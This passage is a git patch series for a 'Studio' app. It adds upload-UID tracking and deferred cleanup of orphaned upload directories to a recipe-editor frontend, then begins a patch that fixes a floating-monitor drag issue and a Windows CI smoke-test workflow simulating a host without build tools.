diff --git a/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts b/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
index 0417a6dd22..2d91272469 100644
--- a/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
+++ b/studio/frontend/src/features/recipe-studio/hooks/use-recipe-persistence.ts
@@ -4,11 +4,13 @@
 import { useCallback, useEffect, useMemo, useState } from "react";
 import { toastError, toastSuccess } from "@/shared/toast";
 import { normalizeNonEmptyName } from "@/utils";
+import { removeUnstructuredBlock } from "../api";
 import {
   buildSignature,
   copyTextToClipboard,
   formatSavedLabel,
 } from "../executions/execution-helpers";
+import { useRecipeStudioStore } from "../stores/recipe-studio";
 import { importRecipePayload, type RecipeSnapshot } from "../utils/import";
 import type { RecipePayloadResult } from "../utils/payload/types";
 
@@ -72,7 +74,10 @@ function stripApiKeys(value: unknown): unknown {
     !Array.isArray(output.env)
   ) {
     output.env = Object.fromEntries(
-      Object.keys(output.env as Record<string, unknown>).map((envKey) => [envKey, ""]),
+      Object.keys(output.env as Record<string, unknown>).map((envKey) => [
+        envKey,
+        "",
+      ]),
     );
   }
   return output;
@@ -82,10 +87,7 @@ function inferHfRepoIdFromPath(pathValue: unknown): string {
   if (typeof pathValue !== "string") {
     return "";
   }
-  const parts = pathValue
-    .trim()
-    .split("/")
-    .filter(Boolean);
+  const parts = pathValue.trim().split("/").filter(Boolean);
   if (parts.length >= 3 && parts[0] === "datasets") {
     return `${parts[1]}/${parts[2]}`;
   }
@@ -126,8 +128,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
     typeof ui?.seed_source_type === "string" ? ui.seed_source_type : null;
   const sourceType =
     typeof source?.seed_type === "string" ? source.seed_type : null;
-  const shouldResetHfState =
-    sourceType === "hf" || uiSourceType === "hf";
+  const shouldResetHfState = sourceType === "hf" || uiSourceType === "hf";
   const shouldResetLocalState =
     sourceType === "local" ||
     sourceType === "unstructured" ||
@@ -144,6 +145,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
       ui.seed_drop_columns = [];
       ui.seed_preview_rows = [];
       ui.local_file_name = "";
+      ui.unstructured_upload_uid = "";
       ui.unstructured_file_ids = [];
       ui.unstructured_file_names = [];
       ui.unstructured_file_sizes = [];
@@ -165,6 +167,7 @@ function sanitizeSeedForShare(payload: unknown): unknown {
       ui.seed_drop_columns = [];
       ui.seed_preview_rows = [];
       ui.local_file_name = "";
+      ui.unstructured_upload_uid = "";
       ui.unstructured_file_ids = [];
       ui.unstructured_file_names = [];
       ui.unstructured_file_sizes = [];
@@ -174,6 +177,43 @@ function sanitizeSeedForShare(payload: unknown): unknown {
   return root;
 }
 
+// Delete queued upload directories once a save stops referencing them, so a
+// reload before autosave can never leave the saved recipe pointing at
+// already-deleted files. Skips any uid the just-saved payload still uses.
+function drainQueuedUploadCleanups(
+  savedPayload: RecipePayloadResult["payload"],
+): void {
+  const pending = useRecipeStudioStore.getState().pendingUploadCleanups;
+  if (pending.length === 0) {
+    return;
+  }
+  const ui =
+    savedPayload && typeof savedPayload === "object"
+      ? (savedPayload as { ui?: Record<string, unknown> }).ui
+      : undefined;
+  const savedUid =
+    ui && typeof ui.unstructured_upload_uid === "string"
+      ? ui.unstructured_upload_uid
+      : "";
+  const ready = pending.filter((uid) => uid !== savedUid);
+  if (ready.length === 0) {
+    return;
+  }
+  for (const uid of ready) {
+    void removeUnstructuredBlock(uid)
+      .then(() => {
+        useRecipeStudioStore.setState((state) => ({
+          pendingUploadCleanups: state.pendingUploadCleanups.filter(
+            (pendingUid) => pendingUid !== uid,
+          ),
+        }));
+      })
+      .catch((error) => {
+        console.warn("Failed to clean up uploaded documents:", error);
+      });
+  }
+}
+
 export function useRecipePersistence({
   recipeId,
   initialRecipeName,
@@ -202,8 +242,10 @@ export function useRecipePersistence({
     () => buildSignature(normalizedWorkflowName, currentPayload),
     [currentPayload, normalizedWorkflowName],
   );
-  const isDirty = savedSignature.length > 0 && currentSignature !== savedSignature;
-  const saveTone: SaveTone = !isDirty && Boolean(lastSavedAt) ? "success" : "error";
+  const isDirty =
+    savedSignature.length > 0 && currentSignature !== savedSignature;
+  const saveTone: SaveTone =
+    !isDirty && Boolean(lastSavedAt) ? "success" : "error";
   const savedAtLabel = formatSavedLabel(lastSavedAt);
 
   useEffect(() => {
@@ -214,7 +256,9 @@ export function useRecipePersistence({
     setLastSavedAt(initialSavedAt);
     setCopied(false);
 
-    const parsed = importRecipePayload(JSON.stringify(initialPayload));
+    const parsed = importRecipePayload(JSON.stringify(initialPayload), {
+      preserveUnstructuredUploads: true,
+    });
     if (parsed.snapshot) {
       loadRecipe(parsed.snapshot);
     } else {
@@ -252,6 +296,7 @@ export function useRecipePersistence({
       });
       setLastSavedAt(result.updatedAt);
       setSavedSignature(buildSignature(nextName, currentPayload));
+      drainQueuedUploadCleanups(currentPayload);
     } catch (error) {
       console.error("Save recipe failed:", error);
       toastError("Save failed", "Could not save recipe.");
@@ -270,11 +315,28 @@ export function useRecipePersistence({
     return () => window.clearTimeout(timeoutId);
   }, [isDirty, persistRecipe, saveLoading]);
 
+  // Drain queued cleanups even when autosave is skipped: a net-zero edit (add
+  // then remove an unstructured seed before the 800ms debounce) keeps isDirty
+  // false, so the autosave effect never drains and the queued uid leaks its
+  // upload dir. Not-dirty means currentPayload equals the saved recipe, and
+  // drain skips the uid it still references, so only dirs no saved recipe
+  // points at are deleted (keeps the save-first invariant).
+  useEffect(() => {
+    if (!initialRecipeReady || isDirty || saveLoading) {
+      return;
+    }
+    drainQueuedUploadCleanups(currentPayload);
+  }, [currentPayload, initialRecipeReady, isDirty, saveLoading]);
+
   const copyRecipe = useCallback(async (): Promise<void> => {
     setCopied(false);
     try {
-      const safePayload = sanitizeSeedForShare(stripApiKeys(payloadResult.payload));
-      const ok = await copyTextToClipboard(JSON.stringify(safePayload, null, 2));
+      const safePayload = sanitizeSeedForShare(
+        stripApiKeys(payloadResult.payload),
+      );
+      const ok = await copyTextToClipboard(
+        JSON.stringify(safePayload, null, 2),
+      );
       if (!ok) {
         throw new Error("Clipboard not available.");
       }
diff --git a/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts b/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
index 8659cad4fb..a1ff72ee9b 100644
--- a/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
+++ b/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
@@ -36,6 +36,7 @@ import {
 } from "../utils/handles";
 import type { RecipeSnapshot } from "../utils/import";
 import { getLayoutedElements } from "../utils/layout";
+import { makeUnstructuredUploadUid } from "../utils/config-factories";
 import {
   centerModelInfraNodes,
   optimizeModelInfraEdgeHandles,
@@ -76,6 +77,12 @@ type RecipeStudioState = {
   nextId: number;
   nextY: number;
   fitViewTick: number;
+  // Upload-uid directories whose owning block dropped them; server-side
+  // deletion is deferred until a save no longer references them, so a
+  // reload before autosave cannot leave a saved recipe pointing at
+  // deleted files.
+  pendingUploadCleanups: string[];
+  queueUploadCleanup: (uid: string) => void;
   setSheetOpen: (open: boolean) => void;
   setSheetView: (view: SheetView) => void;
   setProcessors: (processors: RecipeProcessorConfig[]) => void;
@@ -137,6 +144,7 @@ const INITIAL_STATE = {
   nextId: 3,
   nextY: 280,
   fitViewTick: 0,
+  pendingUploadCleanups: [],
 } satisfies Pick<
   RecipeStudioState,
   | "nodes"
@@ -154,6 +162,7 @@ const INITIAL_STATE = {
   | "nextId"
   | "nextY"
   | "fitViewTick"
+  | "pendingUploadCleanups"
 >;
 
 function buildAddedNodeState(
@@ -269,6 +278,20 @@ function isModelSemanticEdge(
   );
 }
 
+// Upload uid of a seed block whose server-side directory becomes orphaned
+// when the block drops it. Only uid directories qualify (single owner);
+// legacy node-id directories can be shared by other recipes.
+function seedUploadCleanupUid(config: NodeConfig | undefined): string | null {
+  if (!config || config.kind !== "seed") {
+    return null;
+  }
+  const uid = config.unstructured_upload_uid?.trim();
+  if (!uid || !config.unstructured_file_ids?.length) {
+    return null;
+  }
+  return uid;
+}
+
 export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
   ...INITIAL_STATE,
   setSheetOpen: (open) => set({ sheetOpen: open }),
@@ -278,6 +301,12 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
   setDialogOpen: (open) => set({ dialogOpen: open }),
   setExecutionLocked: (locked) => set({ executionLocked: locked }),
   resetRecipe: () => set(INITIAL_STATE),
+  queueUploadCleanup: (uid) =>
+    set((state) =>
+      state.pendingUploadCleanups.includes(uid)
+        ? state
+        : { pendingUploadCleanups: [...state.pendingUploadCleanups, uid] },
+    ),
   selectConfig: (id) => set({ activeConfigId: id, dialogOpen: false }),
   openConfig: (id) => set({ activeConfigId: id, dialogOpen: true }),
   setLayoutDirection: (direction) =>
@@ -383,7 +412,18 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
       }
       return buildAddedNodeState(state, "sampler", type, position, openDialog);
     }),
-  addSeedNode: (type, position, openDialog = true) =>
+  addSeedNode: (type, position, openDialog = true) => {
+    const current = get();
+    if (!current.executionLocked) {
+      // The reset below clears the block's upload uid and file list; queue
+      // its server-side directory for deletion after the next save.
+      const uid = seedUploadCleanupUid(
+        Object.values(current.configs).find((config) => config.kind === "seed"),
+      );
+      if (uid) {
+        current.queueUploadCleanup(uid);
+      }
+    }
     set((state) => {
       if (state.executionLocked) {
         return state;
@@ -413,6 +453,8 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
         hf_token: "",
         hf_endpoint: "https://huggingface.co",
         local_file_name: "",
+        unstructured_upload_uid:
+          nextSourceType === "unstructured" ? makeUnstructuredUploadUid() : "",
         unstructured_file_ids: [],
         unstructured_file_names: [],
         unstructured_file_sizes: [],
@@ -446,7 +488,8 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
         activeConfigId: existing.id,
         dialogOpen: openDialog,
       };
-    }),
+    });
+  },
   addLlmNode: (type, position, openDialog = true) =>
     set((state) => {
       if (state.executionLocked) {
@@ -699,6 +742,9 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
       dialogOpen: false,
       sheetView: "root",
       fitViewTick: state.fitViewTick + 1,
+      // Queued cleanups belong to the previous recipe; draining them after
+      // a save of this one could delete files its saved payload still uses.
+      pendingUploadCleanups: [],
     })),
   setAuxNodePosition: (id, position) =>
     set((state) => {
@@ -786,6 +832,17 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
     set(applyUpdate);
   },
   onNodesChange: (changes) => {
+    const current = get();
+    if (!current.executionLocked) {
+      for (const change of changes) {
+        if (change.type === "remove") {
+          const uid = seedUploadCleanupUid(current.configs[change.id]);
+          if (uid) {
+            current.queueUploadCleanup(uid);
+          }
+        }
+      }
+    }
     const applyNodesChange = (state: RecipeStudioState) => {
       if (state.executionLocked) {
         return state;
diff --git a/studio/frontend/src/features/recipe-studio/types/index.ts b/studio/frontend/src/features/recipe-studio/types/index.ts
index b8ed13f70b..9231c5f7a3 100644
--- a/studio/frontend/src/features/recipe-studio/types/index.ts
+++ b/studio/frontend/src/features/recipe-studio/types/index.ts
@@ -340,6 +340,8 @@ export type SeedConfig = {
   hf_token?: string;
   hf_endpoint?: string;
   local_file_name?: string;
+  // ui-only: stable per-block id for uploads, since node ids collide across imports
+  unstructured_upload_uid?: string;
   unstructured_file_ids?: string[];
   unstructured_file_names?: string[];
   unstructured_file_sizes?: number[];
diff --git a/studio/frontend/src/features/recipe-studio/utils/config-factories.ts b/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
index 76fc2c38ee..d47bac8858 100644
--- a/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
@@ -20,6 +20,46 @@ import type {
 } from "../types";
 import { nextName } from "./naming";
 
+export function makeUnstructuredUploadUid(): string {
+  if (typeof globalThis.crypto?.randomUUID === "function") {
+    return globalThis.crypto.randomUUID().replace(/-/g, "").toLowerCase();
+  }
+  if (typeof globalThis.crypto?.getRandomValues === "function") {
+    const bytes = new Uint8Array(16);
+    globalThis.crypto.getRandomValues(bytes);
+    return Array.from(bytes, (byte) => byte.toString(16).padStart(2, "0")).join(
+      "",
+    );
+  }
+  let uid = "";
+  while (uid.length < 32) {
+    uid += Math.floor(Math.random() * 0x100000000)
+      .toString(16)
+      .padStart(8, "0");
+  }
+  return uid.slice(0, 32);
+}
+
+export function resolveUnstructuredUploadBlockId({
+  configId,
+  uploadUid,
+  generatedUploadUid,
+  unstructuredFileCount,
+}: {
+  configId: string;
+  uploadUid: string;
+  generatedUploadUid: string | null;
+  unstructuredFileCount: number;
+}): string {
+  if (uploadUid) {
+    return uploadUid;
+  }
+  if (generatedUploadUid) {
+    return generatedUploadUid;
+  }
+  return unstructuredFileCount > 0 ? configId : "";
+}
+
 export function makeSamplerConfig(
   id: string,
   samplerType: SamplerType,
@@ -368,6 +408,9 @@ export function makeSeedConfig(
     hf_token: "",
     hf_endpoint: "https://huggingface.co",
     local_file_name: "",
+    ...(seedSourceType === "unstructured"
+      ? { unstructured_upload_uid: makeUnstructuredUploadUid() }
+      : {}),
     unstructured_file_ids: [],
     unstructured_file_names: [],
     unstructured_file_sizes: [],
diff --git a/studio/frontend/src/features/recipe-studio/utils/import/importer.ts b/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
index ac881d0373..54df2ffd50 100644
--- a/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
@@ -16,11 +16,7 @@ import type {
 } from "../../types";
 import { buildEdges } from "./edges";
 import { isRecord, parseJson, readString } from "./helpers";
-import {
-  parseColumn,
-  parseModelConfig,
-  parseModelProvider,
-} from "./parsers";
+import { parseColumn, parseModelConfig, parseModelProvider } from "./parsers";
 import { parseSeedConfig } from "./parsers/seed-config-parser";
 import { buildNodes, parseUi } from "./ui";
 import type { ImportResult } from "./types";
@@ -43,6 +39,7 @@ type UiInput = {
   seed_drop_columns?: unknown;
   seed_preview_rows?: unknown;
   local_file_name?: unknown;
+  unstructured_upload_uid?: unknown;
   unstructured_file_ids?: unknown;
   unstructured_file_names?: unknown;
   unstructured_file_sizes?: unknown;
@@ -51,6 +48,10 @@ type UiInput = {
   advanced_open_by_node?: unknown;
 };
 
+type ImportRecipePayloadOptions = {
+  preserveUnstructuredUploads?: boolean;
+};
+
 type UiMarkdownNoteNode = {
   name: string;
   markdown: string;
@@ -90,7 +91,7 @@ function parseProcessors(input: unknown): RecipeProcessorConfig[] {
         ? templateRaw
         : isRecord(templateRaw)
           ? JSON.stringify(templateRaw, null, 2)
-          : "{\n  \"text\": \"{{ column_name }}\"\n}";
+          : '{\n  "text": "{{ column_name }}"\n}';
     processors.push({
       id: `p${index + 1}`,
       // biome-ignore lint/style/useNamingConvention: api schema
@@ -135,9 +136,7 @@ function parseSeedDropColumns(input: unknown): string[] {
   return Array.from(values);
 }
 
-function parseMcpProviders(
-  input: unknown,
-): Map<string, LlmMcpProviderConfig> {
+function parseMcpProviders(input: unknown): Map<string, LlmMcpProviderConfig> {
   const providers = new Map<string, LlmMcpProviderConfig>();
   if (!Array.isArray(input)) {
     return providers;
@@ -156,13 +155,12 @@ function parseMcpProviders(
     const args = Array.isArray(item.args)
       ? item.args.map((value) => String(value))
       : [];
-    const envPairs =
-      isRecord(item.env)
-        ? Object.entries(item.env).map(([key, value]) => ({
-            key: String(key),
-            value: String(value),
-          }))
-        : [];
+    const envPairs = isRecord(item.env)
+      ? Object.entries(item.env).map(([key, value]) => ({
+          key: String(key),
+          value: String(value),
+        }))
+      : [];
     providers.set(name, {
       id: `mcp-${index + 1}`,
       name,
@@ -209,7 +207,8 @@ function parseToolConfigs(input: unknown): Map<string, LlmToolConfig> {
       allow_tools: allowTools,
       // biome-ignore lint/style/useNamingConvention: api schema
       max_tool_call_turns:
-        item.max_tool_call_turns === null || item.max_tool_call_turns === undefined
+        item.max_tool_call_turns === null ||
+        item.max_tool_call_turns === undefined
           ? "5"
           : String(item.max_tool_call_turns),
       // biome-ignore lint/style/useNamingConvention: api schema
@@ -257,7 +256,9 @@ function parseUiMarkdownNoteNodes(input: unknown): UiMarkdownNoteNode[] {
   return noteNodes;
 }
 
-function parseUiToolProfileNodes(input: unknown): Map<string, Record<string, string[]>> {
+function parseUiToolProfileNodes(
+  input: unknown,
+): Map<string, Record<string, string[]>> {
   const toolProfiles = new Map<string, Record<string, string[]>>();
   if (!Array.isArray(input)) {
     return toolProfiles;
@@ -312,9 +313,15 @@ function parseAdvancedOpenByNode(input: unknown): Record<string, boolean> {
   return out;
 }
 
-type AdvancedOpenConfig = LlmConfig | SamplerConfig | SeedConfig | ValidatorConfig;
+type AdvancedOpenConfig =
+  | LlmConfig
+  | SamplerConfig
+  | SeedConfig
+  | ValidatorConfig;
 
-function isAdvancedOpenConfig(config: NodeConfig): config is AdvancedOpenConfig {
+function isAdvancedOpenConfig(
+  config: NodeConfig,
+): config is AdvancedOpenConfig {
   return (
     config.kind === "llm" ||
     config.kind === "sampler" ||
@@ -350,7 +357,8 @@ function buildToolProfileConfig(
       .map((providerName) => mcpProvidersByName.get(providerName))
       .flatMap((provider) => (provider ? [cloneMcpProvider(provider)] : [])),
     // biome-ignore lint/style/useNamingConvention: ui schema
-    fetched_tools_by_provider: fetchedToolsByProfileName.get(canonical.tool_alias) ?? {},
+    fetched_tools_by_provider:
+      fetchedToolsByProfileName.get(canonical.tool_alias) ?? {},
     // biome-ignore lint/style/useNamingConvention: api schema
     allow_tools: [...(canonical.allow_tools ?? [])],
     // biome-ignore lint/style/useNamingConvention: api schema
@@ -360,7 +368,10 @@ function buildToolProfileConfig(
   };
 }
 
-export function importRecipePayload(input: string): ImportResult {
+export function importRecipePayload(
+  input: string,
+  options: ImportRecipePayloadOptions = {},
+): ImportResult {
   const parsed = parseJson(input);
   if (!parsed.data || !isRecord(parsed.data)) {
     return {
@@ -369,9 +380,9 @@ export function importRecipePayload(input: string): ImportResult {
     };
   }
 
-  const recipe = (isRecord(parsed.data.recipe)
-    ? parsed.data.recipe
-    : parsed.data) as RecipeInput;
+  const recipe = (
+    isRecord(parsed.data.recipe) ? parsed.data.recipe : parsed.data
+  ) as RecipeInput;
   const ui = isRecord(parsed.data.ui) ? (parsed.data.ui as UiInput) : null;
 
   if (!Array.isArray(recipe.columns)) {
@@ -410,21 +421,36 @@ export function importRecipePayload(input: string): ImportResult {
         .map((row) => ({ ...row }))
     : undefined;
   const uiLocalFileName = readString(ui?.local_file_name) ?? undefined;
-  // Preserve file IDs/names from saved recipes (cleared at share time by sanitizeSeedForShare)
-  const uiUnstructuredFileIds: string[] = Array.isArray(ui?.unstructured_file_ids)
-    ? (ui.unstructured_file_ids as string[]).filter((v): v is string => typeof v === "string")
-    : [];
-  const uiUnstructuredFileNames: string[] = Array.isArray(ui?.unstructured_file_names)
-    ? (ui.unstructured_file_names as string[]).filter((v): v is string => typeof v === "string")
-    : [];
-  const uiUnstructuredFileSizes: number[] = Array.isArray(ui?.unstructured_file_sizes)
-    ? (ui.unstructured_file_sizes as number[]).filter((v): v is number => typeof v === "number")
-    : [];
+  const preserveUnstructuredUploads =
+    options.preserveUnstructuredUploads === true;
+  const uiUnstructuredUploadUid = preserveUnstructuredUploads
+    ? (readString(ui?.unstructured_upload_uid) ?? undefined)
+    : undefined;
+  const uiUnstructuredFileIds: string[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_ids)
+      ? (ui.unstructured_file_ids as string[]).filter(
+          (v): v is string => typeof v === "string",
+        )
+      : [];
+  const uiUnstructuredFileNames: string[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_names)
+      ? (ui.unstructured_file_names as string[]).filter(
+          (v): v is string => typeof v === "string",
+        )
+      : [];
+  const uiUnstructuredFileSizes: number[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_sizes)
+      ? (ui.unstructured_file_sizes as number[]).filter(
+          (v): v is number => typeof v === "number",
+        )
+      : [];
   const uiUnstructuredChunkSize = readStringNumber(ui?.unstructured_chunk_size);
   const uiUnstructuredChunkOverlap = readStringNumber(
     ui?.unstructured_chunk_overlap,
   );
-  const uiAdvancedOpenByNode = parseAdvancedOpenByNode(ui?.advanced_open_by_node);
+  const uiAdvancedOpenByNode = parseAdvancedOpenByNode(
+    ui?.advanced_open_by_node,
+  );
   const uiMarkdownNotes = parseUiMarkdownNoteNodes(ui?.nodes);
   const uiToolProfilesByName = parseUiToolProfileNodes(ui?.nodes);
 
@@ -459,11 +485,13 @@ export function importRecipePayload(input: string): ImportResult {
           : payloadSeedDropColumns,
       seed_preview_rows: uiSeedPreviewRows,
       local_file_name: uiLocalFileName,
+      unstructuredUploadUid: uiUnstructuredUploadUid,
       unstructuredFileIds: uiUnstructuredFileIds,
       unstructuredFileNames: uiUnstructuredFileNames,
       unstructuredFileSizes: uiUnstructuredFileSizes,
       unstructured_chunk_size: uiUnstructuredChunkSize,
       unstructured_chunk_overlap: uiUnstructuredChunkOverlap,
+      preserveUnstructuredUploads,
     });
     if (seedConfig) {
       applyAdvancedOpen(seedConfig, uiAdvancedOpenByNode);
@@ -567,12 +595,7 @@ export function importRecipePayload(input: string): ImportResult {
   const { layouts, auxNodes, edges: uiEdges, layoutDirection } = parseUi(ui);
   const resolvedLayoutDirection = layoutDirection ?? "LR";
   const nodes = buildNodes(configs, layouts);
-  const edges = buildEdges(
-    configs,
-    nameToId,
-    uiEdges,
-    resolvedLayoutDirection,
-  );
+  const edges = buildEdges(configs, nameToId, uiEdges, resolvedLayoutDirection);
   const auxNodePositions = Object.fromEntries(
     auxNodes.flatMap((item) => {
       const llmId = nameToId.get(item.llm);
@@ -583,10 +606,7 @@ export function importRecipePayload(input: string): ImportResult {
     }),
   );
 
-  const maxY = nodes.reduce(
-    (acc, node) => Math.max(acc, node.position.y),
-    0,
-  );
+  const maxY = nodes.reduce((acc, node) => Math.max(acc, node.position.y), 0);
 
   return {
     errors: [],
diff --git a/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts b/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
index 21eadb3195..939205fe6d 100644
--- a/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
@@ -197,17 +197,26 @@ export function parseSeedConfig(
     seed_drop_columns?: string[];
     seed_preview_rows?: Record<string, unknown>[];
     local_file_name?: string;
+    unstructuredUploadUid?: string;
     unstructuredFileIds?: string[];
     unstructuredFileNames?: string[];
     unstructuredFileSizes?: number[];
     unstructured_chunk_size?: string;
     unstructured_chunk_overlap?: string;
+    preserveUnstructuredUploads?: boolean;
   },
 ): SeedConfig | null {
   if (!seedConfigRaw) {
     return null;
   }
-  const parsed = parseSeedSettings(seedConfigRaw);
+  const parsed = { ...parseSeedSettings(seedConfigRaw) };
+  if (
+    parsed.seed_source_type === "unstructured" &&
+    options?.preserveUnstructuredUploads !== true
+  ) {
+    parsed.hf_path = "";
+    parsed.resolved_paths = [];
+  }
   let sourceType: SeedSourceType = "hf";
   if (parsed.seed_source_type === "hf") {
     sourceType = "hf";
@@ -230,6 +239,9 @@ export function parseSeedConfig(
     ...(options?.local_file_name !== undefined
       ? { local_file_name: options.local_file_name }
       : {}),
+    ...(options?.unstructuredUploadUid
+      ? { unstructured_upload_uid: options.unstructuredUploadUid }
+      : {}),
     ...(options?.unstructuredFileIds !== undefined
       ? { unstructured_file_ids: options.unstructuredFileIds }
       : {}),
diff --git a/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts b/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
index 34c3c34274..9b2ad5b2b5 100644
--- a/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
@@ -440,6 +440,9 @@ export function buildRecipePayload(
             unstructured_file_names: firstSeed.unstructured_file_names,
             unstructured_file_sizes: firstSeed.unstructured_file_sizes,
           }),
+        ...(firstSeed?.unstructured_upload_uid?.trim() && {
+          unstructured_upload_uid: firstSeed.unstructured_upload_uid,
+        }),
         ...(firstSeed &&
           firstSeed.unstructured_chunk_size !== undefined && {
             unstructured_chunk_size: firstSeed.unstructured_chunk_size,
diff --git a/studio/frontend/src/features/recipe-studio/utils/payload/types.ts b/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
index 902ea796b4..763e68c1fb 100644
--- a/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
@@ -71,6 +71,8 @@ export type RecipePayload = {
     seed_preview_rows?: Record<string, unknown>[];
     local_file_name?: string;
     // biome-ignore lint/style/useNamingConvention: api schema
+    unstructured_upload_uid?: string;
+    // biome-ignore lint/style/useNamingConvention: api schema
     unstructured_file_ids?: string[];
     // biome-ignore lint/style/useNamingConvention: api schema
     unstructured_file_names?: string[];

From 1b825213ea2ffe4774404f27795ad287634f6681 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 9 Jul 2026 00:16:05 -0700
Subject: [PATCH 277/306] Stabilize floating monitor drag (#6984)

* Stabilize floating monitor drag

* Restore floating monitor exit animation

* Harden Windows Studio smoke checks

* Keep API menu badge removed

* Apply no-build-tools env overrides in-script

The runner does not apply step-level env keys containing parentheses,
so ProgramFiles(x86) kept its real value and Find-VsBuildTools still
detected VS through vswhere. Set the overrides inside each pwsh step
instead; child processes inherit them. The resolver step moves to pwsh
because bash cannot export a variable named ProgramFiles(x86).

* Reset chat UI session without a second browser context

macOS runs Chromium with --single-process, where closing the last
context tears down the whole browser, so the shutdown re-login died
with TargetClosedError on new_page. Clear cookies and swap pages
inside the same context instead, opening the replacement page before
closing the old one.

* Keep the no-build-tools Path filtered across session refreshes

install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
rebuild the session Path from the Machine and User registry scopes, so
the process-level filter could be undone mid-install and re-expose
CMake. Filter those scopes in the Prepare step with normalized dir
matching and restore them in cleanup.

* Drop stale localStorage auth tokens before re-login

Auth tokens live in localStorage, not cookies, and the login guest
guard redirects on their mere presence. Remove them during the session
reset so the /login navigation is deterministic instead of relying on
the tolerated redirect bounce.
---
 .../studio-windows-inference-smoke.yml        | 161 +++++++++----
 .../frontend/src/components/app-sidebar.tsx   |  17 +-
 .../src/components/floating-monitor.tsx       | 223 ++++++++++--------
 studio/frontend/src/features/chat/index.ts    |   1 +
 .../frontend/src/features/settings/index.ts   |   1 +
 studio/frontend/src/i18n/locales/en.ts        |   1 -
 studio/frontend/src/i18n/locales/ja.ts        |   1 -
 studio/frontend/src/i18n/locales/pt-br.ts     |   1 -
 studio/frontend/src/i18n/locales/zh-CN.ts     |   1 -
 tests/studio/playwright_chat_ui.py            |  36 ++-
 10 files changed, 277 insertions(+), 166 deletions(-)

diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index 0bc216d65a..dbb0f9ea6f 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -1334,42 +1334,75 @@ jobs:
             try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { }
           }
 
-      - name: Hide Visual Studio + CMake (simulate a host with no build tools)
+      - name: Prepare no-build-tools simulation
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
-          # A Program Files dir can hold a transient handle (Defender / MSBuild node)
-          # so Rename-Item intermittently fails with "Access is denied"; retry to ride it out.
-          function Rename-WithRetry($Path, $NewName) {
-            for ($i = 1; $i -le 6; $i++) {
-              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
-              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          $pf = Join-Path $root 'ProgramFiles'
+          $pfx86 = Join-Path $root 'ProgramFilesx86'
+          New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
+
+          $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
+          foreach ($tool in @('cmake', 'cl.exe')) {
+            foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
+              if ($cmd.Source) {
+                $dir = Split-Path -Parent $cmd.Source
+                if ($dir) {
+                  [void] $blocked.Add(
+                    [Environment]::ExpandEnvironmentVariables($dir).Trim().Trim('"').TrimEnd('\'))
+                }
+              }
             }
           }
-          # Rename the Visual Studio install roots (incl. the Installer that holds
-          # vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            if (Test-Path -LiteralPath $d) {
-              Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff')
-              Write-Host "Hid VS: $d"
-            }
+          # Normalized comparison so registry spellings (trailing slash,
+          # unexpanded %VAR%) still match.
+          function Test-Blocked([string]$p) {
+            $n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\')
+            return $blocked.Contains($n)
           }
-          # Surgically rename each cmake executable on PATH (not its parent dir --
-          # cmake can share a dir with other shims) so Get-Command cmake fails.
-          $hidden = @()
-          foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
-            if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
